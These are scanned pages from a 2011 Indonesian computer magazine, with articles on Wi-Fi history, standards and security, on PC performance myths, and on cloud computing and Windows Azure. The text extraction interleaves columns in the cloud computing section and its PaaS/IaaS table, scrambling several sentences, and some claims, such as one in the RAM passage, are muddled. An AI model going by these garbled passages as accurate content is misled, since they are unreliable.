disebut sebut sebagai “The Father of Wi-Fi”, juga terlibat dalam merancang standar 802.11b dan 802.11a versi awal di IEEE (Institute of Electrical and Electronics Engineers). Pada 1992, Commonwealth Scientific and Industrial Research Organisation (CSIRO) mendapatkan paten di Australia untuk metode teknologi transfer data nirkabel berdasarkan penggunaan transformasi Fourier untuk sinyal “unsmear”(tanpa hambatan). Pada 1996, CSIRO memperoleh paten untuk teknologi yang sama di AS. Pada April 2009, empat belas perusahaan teknologi yang menjual perangkat WiFi, termasuk Dell, HP, Microsoft, Intel, Nintendo, dan Toshiba, setuju untuk membayar CSIRO $250 juta untuk pelanggaran hak paten CSIRO. Pada 1999, Wi-Fi Alliance dibentuk sebagai asosiasi perdagangan yang secara resmi memegang merek dagang Wi-Fi di mana pun produk dijual. Keluarga 802.11 terdiri atas serangkaian teknik modulasi over-the-air yang menggunakan protocol dasar yang sama. Yang paling populer adalah yang didefinisikan oleh protocol 802.11b dan 802.11g, dua jenis pengembangan dari standar asli. 802.11-1.997 adalah standar jaringan nirkabel pertama, tetapi 802.11b adalah yang pertama diterima secara luas, diikuti oleh 802.11g dan 802.11n. 802.11n adalah teknik modulasi multi-streaming yang paling baru. Standar lain dalam keluarga 802.11 (se perti c-f, h, j) hanya merupakan 12/2011

pcm_know-how_12_RIFAN_WiFi edit nur.indd 77

amandemen dan ekstensi atau koreksi dari spesifikasi sebelumnya. Berikut adalah beberapa standar yang sempat dipakai. 802.11-1997 (802.11 asli) Versi asli dari standar IEEE 802.11 dirilis pada 1997 dan diklarifikasi pada 1999. Standar ini mendistribusikan 1 atau 2 megabit per detik (Mbit/s) ditambah kode koreksi kesalahan. Didukung tiga alternatif teknologi lapisan fisik. Pertama, diffuse infrared beroperasi pada 1 Mbit/s, frequency-hopping spread spectrum beroperasi pada 1 Mbit/s atau 2 Mbit/s, dan direct-sequence spread spectrum beroperasi pada 1 Mbit/s atau 2 Mbit/s. Dua teknologi radio terakhir menggunakan transmisi microwave Industrial Scientific Medis di frekuensi 2,4 GHz. 802.11a Standar 802.11a menggunakan protocol data link yang sama dengan layer dan format frame standar asli, tetapi ditambah interface OFDM berbasiskan udara (lapisan fisik). Beroperasi di pita 5 GHz dengan kecepatan data maksimum bersih 54 Mbit/s plus kode koreksi kesalahan, yang menghasilkan throughput realistis sekitar 20 Mbit/s. Karena frekueansi 2,4 GHz banyak digunakan untuk titik yang ramai, menggunakan band 5 GHz yang relatif tidak terpakai memberikan keuntungan yang signifikan pada stan-

802.11b 802.11b memiliki kecepatan data maksimum mentah 11 Mbit/s dan menggunakan metode akses media yang sama seperti standar asli. Produk 802.11b muncul di pasar pada awal 2000. Karena 802.11b merupakan pengembangan langsung dari teknik modulasi dari standar asli, terjadi peningkatan yang cukup dramatis pada throughput 802.11b. Dukungan penurunan harga produksi yang substansial secara simultan menyebabkan cepatnya penerimaan 802.11b di masyarakat sebagai teknologi LAN nirkabel definitif. Perangkat 802.11b menderita gangguan dari produk lain yang beroperasi pada pita 2,4 GHz. Perangkat yang beroperasi di kisaran 2,4 GHz meliputi microwave oven, perangkat bluetooth, alat pemantau bayi, dan telepon tanpa kabel. 802.11g Diratifikasi pada Juni 2003, standar ini bekerja di frekuensi 2,4 GHz (sama seperti 802.11b), tetapi menggunakan skema OFDM transmisi yang sama seperti 802.11a. 802.11g beroperasi pada kecepatan maksimum 54 Mbit/s atau jika di rata-rata throughput sekitar 22 Mbit/s. Hardware 802.11g sepenuhnya kompatibel dengan hardware 802.11b karena itu dibebani dengan warisan masalah yang mengurangi throughput hingga 21% bila dibandingkan dengan 802.11a. 802.11g baru diusulkan, tetapi langsung diadopsi oleh konsumen

77

11/8/2011 5:25:37 PM

KNOW-HOW Core PC

mulai Januari 2003, jauh sebelum ratifikasi karena keinginan mendapatkan kecepatan data yang lebih tinggi serta pengurangan biaya produksi. Pada musim panas 2003, sebagian besar produk dual-band 802.11a/b di-upgrade menjadi dual-band/trimode, mendukung a dan b/g dalam satu adapter atau akses poin. Proses membuat b dan g bekerja sama dengan baik membuat proses teknis menjadi lama dalam jaringan 802.11g. Bagaimanapun, keikutsertaan 802.11b akan mengurangi laju data dari jaringan 802.11g secara keseluruhan. Seperti 802.11b, 802.11g men derita gangguan dari produk lain yang beroperasi di pita 2,4 GHz, misalnya wireless keyboard. 802.11n 802.11n adalah amandemen yang meningkatkan pada 802,11 standar sebelumnya dengan menambahkan beberapa masukan-keluaran antena (MIMO). 802.11n beroperasi pada kedua 2,4 GHz dan yang lebih rendah digunakan 5 GHz band. IEEE telah menyetujui amandemen dan itu diterbitkan pada Oktober 2009 [12] [13]. Sebelum ratifikasi final, perusahaan sudah bermigrasi ke jar-

Access point.

Notebook Wi-Fi adapter.

78

pcm_know-how_12_RIFAN_WiFi edit nur.indd 78

Diagram penerapan wireless router.

ingan 802.11n berdasarkan sertifikasi Wi-Fi Alliance produk sesuai dengan konsep 2007 proposal 802.11n. 802.11 membagi tiap-tiap standar yang diuraikan di atas ke saluran. Analoginya seperti bagaimana frekuensi radio dan TV dibagi. Sebagai contoh, band 2,4000-2,4835 GHz dibagi menjadi 13 saluran masing-masing 5 MHz. Saluran nomor 1 menempati saluran 2,412 GHz dan saluran nomor 13 menempati 2,472 GHz. Jepang menambahkan saluran ke-14 yang menempati 12 MHz di atas saluran 13. Sejak standar 802.11g sinyal OFDM menggunakan 20 MHz, hanya ada empat saluran yang tidak tumpang tindih, yaitu 1, 5, 9, dan 13. Standar sebelumnya, 802.11b didasarkan pada bentuk gelombang DSSS yang menggunakan 22 MHz dan tidak memiliki batas yang tajam. Ketersediaan saluran diatur oleh negara, dibatasi sesuai kepentingan untuk berbagai layanan. Kondisi ekstrem seperti Jepang mengizinkan penggunaan ke-14 channel yang ada (kecuali saluran 14 untuk 802.11g dan n). Spanyol awalnya hanya membolehkan saluran 10 dan 11, Prancis hanya 10, 11, 12, dan 13. Sekarang, kedua negara itu mengikuti model Eropa yang memperbolehkan penggunaan saluran 1 sampai 13. Sebagian besar negara Eropa lainnya hampir sama bebasnya dengan Jepang (pelarangan hanya pada saluran 14), sementara Amerika Utara dan beberapa negara Amerika Tengah dan Selatan lebih melarang 12 dan 13. Selain menentukan frekuensi pusat

setiap saluran, 802.11 juga menentukan lapisan spektral yang mendefinisikan distribusi power maksimal yang diperbolehkan di setiap saluran. Lapisan tersebut mensyaratkan bahwa sinyal akan dilemahkan kira-kira 30 dB dari energi puncaknya pada ± 11 MHz dari frekuensi pusat dalam arti lebar saluran yang efektif 22 MHz. Salah satu konsekuensi adalah tiap stasiun hanya dapat menggunakan saluran keempat atau kelima tanpa tumpang tindih, (1, 6, dan 11 di Amerika, sedangkan 1, 5, 9, dan 13 di Eropa).

Wireless Access Point Sama halnya dengan jaringan kabel, jaringan wireless juga dapat menghubungkan dua atau lebih perangkat yang mendukung Wi-Fi agar bisa berkomunikasi. Semua kegiatan yang mungkin dilakukan pada konfigurasi jaringan kabel juga bisa diterapkan pada jaringan Wi-Fi, seperti share data maupun koneksi. Berbeda halnya dengan wireless router yang berfungsi ganda. Sebuah wireless router mengintegrasikan wireless access point, switch ethernet, sekaligus firmware aplikasi internal yang menyediakan konfigurasi IP routing, NAT, dan forwarding DNS melalui interface WAN terpadu. Sebuah router nirkabel memungkinkan perangkat ethernet kabel dan wireless untuk terhubung ke perangkat (biasanya) WAN tunggal seperti kabel modem atau modem DSL. Wireless extender atau repeater wireless dapat memperluas jangkauan jaringan wireless yang ada. Biasanya itu untuk menanggulangi masalah penyebaran 12/2011

11/8/2011 5:25:37 PM

Core PC KNOW-HOW

sinyal di lokasi berbentuk L. Perangkat wireless yang tersambung melalui repeater otomatis akan menderita peningkatan latency untuk setiap hop. Selain itu, perangkat nirkabel yang tersambung ke salah satu repeater dalam rangkaian akan memiliki throughput yang dibatasi oleh “link terlemah” antara dua node dalam rangkaian tersebut.

Security Pada 2001, sebuah kelompok dari University of California menerbitkan makalah (Weaknesses in the Key Scheduling Algorithm of RC4) yang menjelaskan kelemahan dalam Privasi 802,11 Wired Equivalent Privacy (WEP), sebuah mekanisme keamanan yang didefinisikan dalam standar asli. Tidak lama setelah itu, Adam Stubblefield dan AT & T mengumumkan verifikasi pertama dari serangan itu. Dalam serangan, digambarkan kemampuan mencegat transmisi dan mendapatkan akses tidak sah ke jaringan nirkabel. IEEE membentuk workgroup yang didedikasikan untuk menciptakan solusi pengganti keamanan. Akhirnya, Wi-Fi Alliance mengumumkan spesifikasi sementara yang disebut Wi-Fi Protected Access (WPA) berdasarkan subset dari draft IEEE 802.11i saat itu. WPA mulai diaplikasikan pada produk pertengahan 2003. IEEE 802.11i (juga dikenal sebagai WPA2) itu sendiri disahkan pada Juni 2004 dan menggunakan kekuatan setara enkripsi pemerintahan dalam Advanced Encryption Standard AES, bukan RC4, yang digunakan pada WEP. Enkripsi yang direkomendasikan untuk ruangan rumah/konsumen modern adalah WPA2 (AES Pre-Shared Key) dan untuk ruang Enterprise adalah WPA2.

Non Overlapping Channels 2.4GHz WLAN.

dan backward compatibility bisa beroperasi di negara mana pun. Mekanisme power saving pada Wi-Fi lebih efisien saat digunakan dibandingkan seluler. Kekurangan Regulasi yang tidak konsisten menyangkut spektrum dan power yang diperbolehkan di tiap negara seperti beberapa negara Eropa dan Jepang, terutama untuk 802.11n yang power kerjanya dua kali lipat daripada b atau g.

Wi-Fi: Kelebihan dan Kekurangan

Super Wi-Fi

Kelebihan Wi-Fi merupakan solusi murah dan dapat diaplikasikan di tempat yang tidak memungkinkan untuk sambungan kabel seperti area outdoor atau bangunan yang dilarang untuk direnovasi. Chip Wi-Fi yang semakin murah memungkinkan untuk diinteg rasikan di setiap gadget. Walau berbeda merek dan standar, perangkat Wi-Fi yang bersertifikat

“Super Wi-Fi” adalah istilah yang diciptakan oleh Federal Communications Commission (FCC) Amerika Serikat untuk menggambarkan proposal wireless network yang direncanakan FCC untuk penciptaan-lagi koneksi internet nirkabel jarak jauh. Tak seperti regular Wi-Fi yang menggunakan frekuensi radio 2,4 GHz, proposal Super Wi-Fi menggunakan frekuensi rendah “white space” di an-

12/2011

pcm_know-how_12_RIFAN_WiFi edit nur.indd 79

tara frekuensi saluran televisi. Frekuensi yang lebih rendah ini memungkinkan sinyal untuk perjalanan lebih jauh, menembus dinding yang lebih baik, dan frekuensi yang lebih tinggi daripada yang digunakan sebelumnya. Rencana FCC adalah untuk memungkinkan frekuensi tersebut digunakan secara gratis, seperti yang terjadi dengan Wi-Fi dan bluetooth. US Federal Communications Commission menyetujui aturan untuk “white space” pada 23 September 2010. Pada April 2011, Rice University, dalam kemitraan dengan sebuah organisasi nirlaba, Technology For All, menerapkan penyebaran perumahan pertama dari Super Wi-Fi di timur Houston. Jaringan menggunakan white space untuk backhaul dan menyediakan akses ke klien dengan regular Wi-Fi 2,4 GHz.

LEBIH LANJUT http://tinyurl.com/3hdbtqs http://tinyurl.com/6e3tkrs

79

11/8/2011 5:25:40 PM

KNOW-HOW General

JANGAN TERTIPU OLEH MITOS KINERJA PC Banyak yang kita dengar tentang meningkatkan kinerja PC, tetapi sebenarnya itu sudah usang. Beberapa di antaranya bahkan tidak pernah benar. Berikut cerita sebenarnya. Gunung Sarjono

Pecinta komputer selalu mencari cara untuk mendapatkan kecepatan lebih dari komputer mereka. Sayangnya, sejumlah tip kinerja yang salah atau usang telah cukup lama beredar sehingga menjadi mitos. Berikut adalah beberapa mitos yang beredar beserta kebenarannya.

Core Lebih Tinggi Lebih Baik Mempunyai CPU dengan core lebih tinggi tidak akan memperlambat Anda. Namun, dalam banyak kasus, itu hanya membuang-buang uang Anda. Beberapa aplikasi bersifat multi-thread dan mengikuti model pemrosesan paralel di mana aplikasi diarahkan pada semua core sekaligus. Menulis kode pemrosesan paralel adalah hal yang sulit, bahkan lebih sulit lagi untuk melakukan dengan benar. Banyak aplikasi yang paling menuntut resource, seperti game dan pengolahan grafis, mengarahkan pemrosesan yang paling sulit ke GPU, bukan ke CPU. Jadi ya, memiliki core lebih tinggi memang bagus, tetapi jangan harap menggunakan CPU dual quad core akan memberikan tambahan kecepatan, kecuali jika Anda menjalankan aplikasi yang benar-benar dioptimalkan untuknya (di mana jumlahnya langka) atau Anda melakukan banyak sekali pekerjaan dengan mesin virtual.

RAM Lebih Selalu Lebih Cepat RAM lebih bukan jaminan komputer selalu lebih cepat meskipun mempunyai RAM lebih tidak ada salahnya. Sebenarnya, itu tidak sepenuhnya benar! Sering, RAM lebih besar digunakan

80

80_Knowhow-GS_12_edit nur.indd 80

karena kecepatan bus lebih lambat daripada chip RAM. Jadi, secara teori, RAM lebih sedikit berbahaya bagi kinerja. Lebih penting adalah mengenai RAM dual channel vs triple channel. Jika Anda mempunyai RAM 12 GB triple channel dan 16 GB RAM dual channel, RAM 12 GB akan lebih cepat. Selain itu, karena Windows mengalokasikan item yang sering digunakan pada RAM dan cache, memiliki RAM ekstra bisa membuat perbedaan dengan asumsi Anda adalah pengguna RAM besar.

Yang Terpenting Adalah RPM Drive Ketika mengukur kinerja harddisk, kita senang melihat RPM piringannya. Drive dengan RPM lebih cepat secara teori dapat membaca data lebih cepat dan mencari lebih cepat, tetapi angka yang seharusnya dilihat sebenarnya adalah waktu pencarian (seek time). Transfer data yang dilakukan dengan waktu yang lama akan memengaruhi pembacaan atau penulisan. Oleh karena itu, waktu pencarian sangat penting untuk kinerja. Cari juga cache dan total kecepatan transfer yang lebih besar.

Harddisk Mahal untuk Performa Terbaik Sampai sekarang, harddisk khusus seperti Western Digital VelociRaptor telah digunakan untuk mendapatkan kecepatan disk terbaik. Namun, apakah Anda tahu bahwa Anda bisa mendapatkan kecepatan yang setara dari harddisk yang lebih murah? Rahasia kinerja VelociRaptor adalah ia menggunakan piringan kecil sehingga

head tidak perlu jauh-jauh bergerak. Jika Anda dapat menemukan harddisk dengan cache dan RPM serupa, lakukan short stroking. Ini memberikan efek seolah-olah Anda menggunakan piringan lebih kecil tanpa harus membeli harddisk khusus.

Satu Harddisk Besar Sudah Memadai Orang-orang berpikir bahwa karena jarang sekali beberapa aplikasi mengakses harddisk pada waktu yang sama, memiliki satu harddisk besar saja sudah memadai. Ya, memang tidak mungkin ada dua aplikasi yang secara bersamaan mengakses harddisk secara instensif, kecuali Anda menjalankan server dan mesin virtual atau melakukan beberapa multi-tasking gila. Memisahkan data ke dalam dua harddisk memang tidak memberikan peningkatan kinerja yang signifikan. Namun, lain ceritanya jika Anda menggunakan RAID. Penggunaan beberapa harddisk dapat meningkatkan kinerja secara signifikan. Gambar 1. Penggunaan piringan yang kecil membuat Western Digital VelociRaptor mempunyai kecepatan yang tinggi.

12/2011

11/1/2011 3:10:05 PM

General KNOW-HOW

Windows 7 Butuh RAM yang Sangat Besar Ketika berpindah dari Windows XP ke Windows Vista atau Windows 7 dan melihat meteran penggunaan RAM, orang sering panik. Apa yang mereka lihat adalah sesuatu seperti tampak pada Gambar 2. Wow, itu terlihat menakutkan, bukan? Sistem boleh dibilang tidak sedang melakukan apa-apa (penggunaan CPU 4%), tetapi membutuhkan RAM 1,38 GB untuk berjalan. Inilah yang sebenarnya terjadi. Mulai Vista, Windows agresif dalam menggunakan RAM. Para insinyur di Microsoft langsung mengalokasikan pada RAM dan cache item yang biasa digunakan meskipun mereka tidak benar-benar digunakan. Sebagai contoh, jika Anda sering menggunakan Word, sistem akan menyimpan Word dalam memory siap untuk digunakan. Jelas, ini membuat Windows memakan banyak RAM. Namun, ini bukan berarti Anda menggunakan RAM meskipun toh pada akhirnya akan menggunakannya. Itulah sebabnya Windows mempersiapkannya supaya aplikasi mulai jauh lebih cepat.

Aplikasi Anti-malware Mengurangi Kinerja Ya, aplikasi anti-malware memang memiliki efek pada kinerja. Pada satu waktu, efeknya besar. Pada masa itu, banyak masalah lambatnya PC dapat diselesaikan dengan menghapus aplikasi seperti antivirus. Dalam beberapa tahun terakhir, banyak hal telah berubah. Dulu aplikasi anti-malware harus “menyusup” ke sistem operasi untuk melihat apa yang terjadi dengan sistem file dan RAM dan inilah yang menyebabkan terjadinya perlambatan. Namun, ini tidak lagi terjadi. Windows sekarang menyediakan kait ke sistem operasi untuk aplikasi anti-malware menerima file dan mengecek mereka seperti biasa. Memang, aplikasi anti-malware masih memiliki efek pada kinerja, tetapi itu sangat minim.

Menghapus History Browser untuk Penambahan Kecepatan Sering kita mendapatkan saran seperti ini dari mulut ke mulut— hapus history browser untuk mempercepat pekerjaan; 12/2011

80_Knowhow-GS_12_edit nur.indd 81

Gambar 2. Apakah Windows 7 benar-benar memerlukan RAM yang sangat besar?

bersihkan cookie untuk kecepatan lebih; kosongkan cache browser untuk membuat koneksi web terbang! Coba tebak. Itu omong kosong. Satu-satunya dampak yang dihasilkan dari menghapus history adalah Anda tidak perlu lagi menunggu browser menampilkan alamat yang sudah pernah dibuka ketika mengetikkan alamat. Membersihkan cookie tidak akan berpengaruh apa pun karena mereka tidak berada di memory. Cookie hanya dibaca dan di-upload ke server bila diminta dan mereka begitu kecil sehingga tidak akan memperlambat sistem secara signifikan. Cache browser membuat browsing lebih cepat? Coba pikirkan ini. Apa yang akan menjadi lebih cepat jika browser Anda membutuhkan gambar, CSS, atau file JavaScript (baik itu men-downloadnya kembali dari situs atau menariknya dari harddisk)? Mengosongkan cache adalah tip ruang penyimpanan pada 1990-an ketika harddisk masih cukup mahal dan cache browser bisa memakan sebagian besar kapasitasnya. Entah bagaimana, tip tersebut akhirnya berubah menjadi trik kinerja palsu.

Membersihkan Registry Mendatangkan Mukjizat Ini adalah salah satu tip yang juga sering kita dengar sepanjang waktu. Secara teori, ya, registry yang lebih kecil akan memiliki efek pada kinerja. Namun, itu dengan asumsi aplikasi Anda terus-menerus mengakses registry dan registry Anda dalam kondisi buruk sehingga sebagian besar berisi sampah.

Gambar 3. Lihat seek times untuk mengetahui kemampuan harddisk.

Meskipun begitu, coba tebak. Anda kemudian mengoptimasi data dalam registry yang sudah dirancang untuk bekerja cepat, berada dalam RAM, dan hanya beberapa megabyte pula. Membersihkan registry bisa memberikan beberapa manfaat (terutama menyingkirkan entri aplikasi yang sudah dihapus), tetapi kinerja bukanlah salah satunya. Ini adalah tip yang masuk akal pada zaman dulu, sekarang tidak lagi.

Kosongkan Recycle Bin untuk Kecepatan Lebih Ini merupakan salah satu tip yang masuk akal pada sepuluh tahun yang lalu, tetapi sudah usang sekarang. Mengosongkan Recycle Bin jelas akan membebaskan ruang harddisk. Namun, dari mana datangnya peningkatan kinerja? Jika Anda memiliki banyak data di Recycle Bin lalu membuangnya kemudian melakukan defrag, mungkin Anda akan merasakan perbedaan yang nyata sesudah harddisk dioptimasi. Tentu saja, itu dengan asumsi Anda secara teratur membuat data besar di tengah harddisk kemudian menghapusnya. Kecuali Anda terus-menerus menginstal dan meng-uninstall aplikasi besar dan membuat lalu menghapus banyak data, mengosongkan Recycle Bin tidak akan memberikan peningkatan kecepatan yang nyata.

LEBIH LANJUT http://en.wikipedia.org/wiki/ RAID#Standard_levels http://www.tomshardware.com/ reviews/short-stroking-hdd,2157.html

81

11/1/2011 3:10:10 PM

KNOW-HOW Windows

PEMANFAATAN WINDOWS AZURE UNTUK PEMEGANG PUTUSAN TI Apa itu Windows Azure dan apa manfaat untuk kelangsungan bisnis dan operasional? Mari kita bahas hal itu dalam artikel ini. Agus Kurniawan

Akhirnya cloud computing mulai dibicarakan oleh orang banyak dan mereka sudah mulai belajar, bahkan mencobanya walaupun sebatas PoC dan sejenisnya. Dalam artikel ini, penulis mengajak pembaca untuk mengenal cloud computing selanjutnya melihat model Windows Azure sebagai realisasi cloud computing.

Pengertian Cloud Computing Semenjak kemunculan istilah “cloud computing”, banyak yang salah kaprah ataupun merasakan adanya ketidaksesuaian dengan harapan. Di antara hal yang menunjukkan salah pengertian mengenai cloud computing adalah sebagai berikut. Sebagian orang menganggap cloud computing tidak nyata dalam arti hanya sebatas konsep, padahal faktanya cloud computing sudah diimplementasikan oleh banyak perusahaan. Sebagian orang menganggap cloud computing hanya sebatas cara mengakses aplikasi melalui internet. Ang gapan ini salah besar karena cloud computing melibatkan semua perkembangan teknologi data center dan layanan servis yang disediakan. Internet di sini hanya sebagai media komunikasi yang menghubungkan user dan sistem pada layanan berbasiskan cloud computing.

82

82_knowhow-AK_edit nur.indd 82

Cloud computing hanya diperuntuk-

kan bagi perusahaan besar. Paradigma ini juga salah karena cloud computing dapat dimanfaatkan untuk berbagai tipe perusahaan dengan ukuran organisasi dari kecil hingga besar. Cloud computing adalah nama lain dari grid computing. Konsep ini juga tidaklah benar karena teknologi grid computing sudah berkembang terlebih dulu daripada cloud computing dan kedua teknologi ini memanfaatkan komputasi paralel. Dalam implementasinya, banyak dimanfaatkan grid computing pada infrastruktur cloud computing. Selanjutnya, bagaimana konsep cloud computing? Secara umum, yang perlu ditonjolkan pada cloud computing adalah fleksibilitas. Kita dapat memilih infrastruktur dan sistem tanpa harus membeli seluruhnya karena konsepnya kita dapat menyewa dan mengatur kebutuhan sesuai bisnis yang dijalankan. Suatu saat, kita juga dapat berhenti tanpa harus merepotkan masalah teknis dan administrasi yang terlalu berbelit. Barokah Widodo, MBA dari Fakultas Ilmu Komputer UI mengatakan, “Dengan virtualization dan cloud computing, para CIO bukan saja bisa menghemat anggaran, tetapi juga mereka juga dapat lebih fokus dalam mengatur (managing) out-

puts dari layanan-layanan TI daripada terlalu tersita untuk mengatur sumber daya dan infrustruktur TI. Dengan kata lain, para CIO memiliki peluang yang lebih besar untuk mempercepat transisi dari hanya sekedar sebagai fungsi support kepada fungsi kontributor strategik yang lebih banyak berfokus kepada innovation dan nilai tambah (competitive advantages) sehingga di sini bisa terjadi penguatan atau sinergi antara bisnis dengan teknologi.” Kalau kita mengacu pada Gatner, www.gartner.com/technology/initiatives/cloud-computing.jsp, cloud computing mempunyai beberapa atribut antara lain: service-based, scalable dan elastic, shared, pengukuran berdasarkan pemakaian, dan penggunaan teknologi internet.

Tipe Cloud Computing Dari sekian banyak tipe cloud computing, kita dapat membedakan layanan tersebut dalam tiga kategori. Setiap kategori ini mempunyai level layanan yang berbeda-beda dan akan memengaruhi putusan dalam mengambil layanan ini. Ketiga kategori atau tipe pada cloud computing adalah SaaS (Software-as-aService), PaaS (Platform-as-a-Service), dan IaaS (Infrastructure-as-a-Service). 12/2011

11/2/2011 10:46:32 AM

Windows KNOW-HOW Software-as-a-Service (SaaS)

Tipe ini memberikan layanan untuk pemakaian paket software pada lingkungan cloud. Aplikasi dibayar sesuai dengan model langganan yang terdapat pada sistem cloud yang diterapkan, misalnya aplikasi CRM pada cloud, beban pembayarannya berdasarkan jumlah user. Pada kasus ini, kita tidak perlu dipusingkan de ngan instalasi dan konfigurasi, tetapi cukup langsung menggunakannya. Hampir semua aplikasi yang berbasiskan SaaS mempunyai model multi-tenant. Mereka akan melayani sama halnya dengan klien lainnya sebagai single deployment. Dengan pendekatan ini, vendor clound computing dapat menjaga data secara aman untuk penyewa tersebut (tenant). Pada layanan SaaS, umumnya kita tidak diizinkan untuk kustomisasi sistem vendor kita karena hal ini akan mengganggu sistem mereka pada penyewa lainnya. Kita hanya diperbolehkan mengatur dan kustomisasi pada wilayah aplikasi kita. Platform-as-a-Service (PaaS) Layanan ini memberi kita pilihan platform yang digunakan untuk host aplikasi dan data kita. Sebagai contoh, kita melakukan hosting aplikasi bisnis ke dalam lingkungan cloud dan membuatnya sebagai cloud service untuk komputasi, database, dan keamanan. PaaS berbeda dengan layanan hosting pada aplikasi. Pasalnya, pada PaaS biasanya disediakan layanan dalam bentuk virtualisasi yang scalable dan diatur penggunaannya kepada kita. Infrastructure-as-a-Service (IaaS) Layanan ini menyediakan akses ke hardware seperti halnya server atau peralatan penyimpanan dan dapat dikontrol pada low level, misalnya menyediakan VM image yang berisi aplikasi bisnis dan di-hosting pada server cloud. IaaS sebenarnya tidak berbeda pada hosting tradisional. Hanya saja, kita dimudahkan untuk proses instance, yaitu menambah dan menghapus. Hal ini ditunjang oleh kemampuan teknologi virtualisasi. 12/2011

82_knowhow-AK_edit nur.indd 83

Kategori SaaS dan PaaS merupakan pilihan yang meman faatkan banyak keuntungan dari cloud computing, sedangkan IaaS hanya memperoleh keuntungan dari layanan automated management. Kadang kala terjadi kekaburan dalam mengategorikan SaaS, PaaS, dan IaaS sebagai contoh layanan CRM pada lingkungan cloud. Sebagian Gambar 1. Perbedaan antara arsitektur IaaS dan PaaS. besar layanan CRM dimasukLayanan PaaS sangat menguntungkan kan ke kategori SaaS. Sementara itu, ada yang beranggapan bahwa layanan CRM karena kita menerima lingkungan plattermasuk kategori PaaS karena mereka form yang memang memungkinkan dapat memasukkan dan menginstal untuk scalability dan protected melalui mekanisme redundancy dan failover. CRM ke dalam platform mereka. Layanan cloud apa yang paling cocok Selain itu, layanan PaaS memberikan untuk kita? Jika berencana mengguna- hak kita untuk mengakses semua platkan paket software dari vendor tertentu form cloud, termasuk fitur baru yang yang menerapkan online subscription, disediakan oleh vendor tersebut. Untuk mempermudah dalam memakita dapat memilih opsi SaaS. Untuk aplikasi sendiri yang akan dijalankan hami, berikut ini ilustrasi perbedaan pada lingkungan cloud, kita dapat me- antara layanan PaaS dan IaaS. Sebagai contoh kasus, kita mempunyai website milih layanan PaaS dan IaaS. sederhana dan database server sebagai Perbedaan IaaS dan PaaS back-end-nya. Selanjutnya, sistem ini Secara umum, perbedaan antara layanan akan dipindahkan ke layanan cloud IaaS dan PaaS dapat dilihat pada Tabel secara keseluruhan. Gambar 1 meng1. Sekilas, layanan IaaS lebih menarik gambarkan perbedaan antara arsitektur karena kita tidak memerlukan aplikasi IaaS dan PaaS. yang siap cloud dan ini mirip dengan Dengan pendekatan IaaS, kita dapat aplikasi Anda yang sudah dijalankan membuat VM farm untuk website dan pada hosting tradisional. VM farm lainnya untuk database. Pada

TABEL 1. PERBEDAAN ANTARA PaaS DAN IaaS PaaS

IaaS

Aplikasi harus sesuai dengan target platform cloud.

Aplikasi tradisional kemungkinan besar bisa langsung digunakan pada lingkungan cloud tanpa modifikasi. Lingkungan software, lisensi, dan Lingkungan software, lisensi, dan pemeliharaannya disediakan sendiri. pemeliharaannya disediakan sendiri. Memperoleh keuntungan elastisitas dalam Kita mungkin dapat menjalankan atau hal penambahan dan pengurangan instance. mungkin tidak pada konfigurasi multiinstance. Dapat menerapkan layanan data cloud Paradigma enterprise data kemungkinan dengan proteksi redundancy dan reliability. menerapkan single of failure pada lingkungan. Konsistensi data dapat dipakai melalui Konsistensi data merupakan tanggung jawab layanan ini. kita sendiri. Layanan ini kadang menyediakan Adanya keterbatasan layanan antara kemampuan baru yang tak dijumpai pada enterprise dan lingkungan cloud. lingkungan enterprise.

83

11/2/2011 10:47:09 AM

KNOW-HOW Windows

lingkungan cloud, kita dapat meng-upload VM dan mengalokasikan instance serta mengonfigurasi akses dari web farm ke database farm. Traffic web pada bagian front-end diterapkan loadbalanced pada instance yang disediakan di lingkungan cloud. Sementara itu, kalau membandingkan dengan pendekatan PaaS, kita akan meng-upload aplikasi web kita ke dalam cloud yang mengalokasi untuk satu atau lebih instance VM. Selanjutnya, konfigurasi koneksi dari web farm ke layanan servis cloud database. Web farm sudah dilakukan untuk load-balanced pada lingkungan cloud.

Skenario Pemanfaatan Cloud Computing Mungkin sebagian pembaca bertanyatanya kapan dan dalam kondisi apa penggunaan cloud computing dapat dimanfaatkan secara optimal. Sebenarnya banyak skenario yang dapat memanfaatkan teknologi cloud computing dan mungkin ini dapat menginspirasi pembaca. Berikut ini contoh skenario yang dapat dijadikan sebagai pertimbangan. Website untuk umum Sebagian besar website untuk umum itu ada dalam area DMZ yang mana ini mempunyai risiko yang cukup, terutama masalah keamanan. Dengan meletakkannya ke dalam cloud, secara strategis risiko keamanan ditangani oleh pihak vendor penyelenggara layanan cloud tersebut. Aplikasi dengan perubahan beban Aplikasi yang mempunyai beban yang bervariasi akan memperoleh keuntungan pada sisi biaya ketika aplikasi ini dijalankan pada lingkungan cloud. Pasalnya, beberapa layanan cloud hanya membebankan pada pemakaian resource yang digunakan. Aplikasi dengan lifetime yang tidak pasti. Dengan menggunakan layanan cloud, kita dapat dengan mudah mendaftar dan kapan pun bisa berhenti berlangganan layanan ini. Aplikasi yang memerlukan skalabilitas yang cepat atau mengakhiri dengan cepat.

84

82_knowhow-AK_edit nur.indd 84

Bagi kita yang baru kali pertama berbisnis, solusi cloud sangatlah cocok. Jika sukses, kita dapat melanjutkan bisnis kita pada lingkungan cloud dan sebaliknya, dapat berhenti dengan cepat jika terjadi kegagalan. Ekstensi data center Jika pemakaian resource data center yang kita miliki sudah melewati batas, opsi untuk memindahkan aplikasi yang ada atau aplikasi yang baru ke lingkungan cloud dapat menjadi putusan yang tepat. Disaster recovery Jika mengingin kan kemampuan backup data atau failover, opsi untuk cloud computing menjadi hal yang diperlukan. SaaS business model Bisnis dengan memanfaatkan model SaaS sangat menguntungkan apabila kita mene rapkan teknologi cloud computing. Ilustrasi skenario di atas hanyalah contoh. Banyak skenario yang dapat dijadikan dasar untuk menggunakan cloud computing. “Komputasi awan adalah konsep outsource workload TI perusahaan dengan tetap memegang penuh kontrol di tangan CIO. Perusahaan bisa lebih fokus ke bisnis utama dan bertumbuh,” imbuh Hermawan Sutanto, CMO Microsoft Indonesia.

Microsoft Cloud Services Bisnis cloud computing memang menarik untuk dieksekusi, tak terkecuali oleh Microsoft. Seperti kita ketahui, Microsoft sejak dulu melayani bisnis online yang dikembangkan, seperti Bing dan Xbox Live. Secara umum, Microsoft mengembangkan layanan servis cloud yang terbagi menjadi dua, yaitu: Microsoft Online Services (kategori SaaS), dan Windows Azure Platform (kategori PaaS/IaaS). Microsoft Online Services adalah edisi cloud-hosted dari bisnis Microsoft untuk aplikasi produktivitas. Contoh aplikasinya adalah: CRM online, dan Office 365.

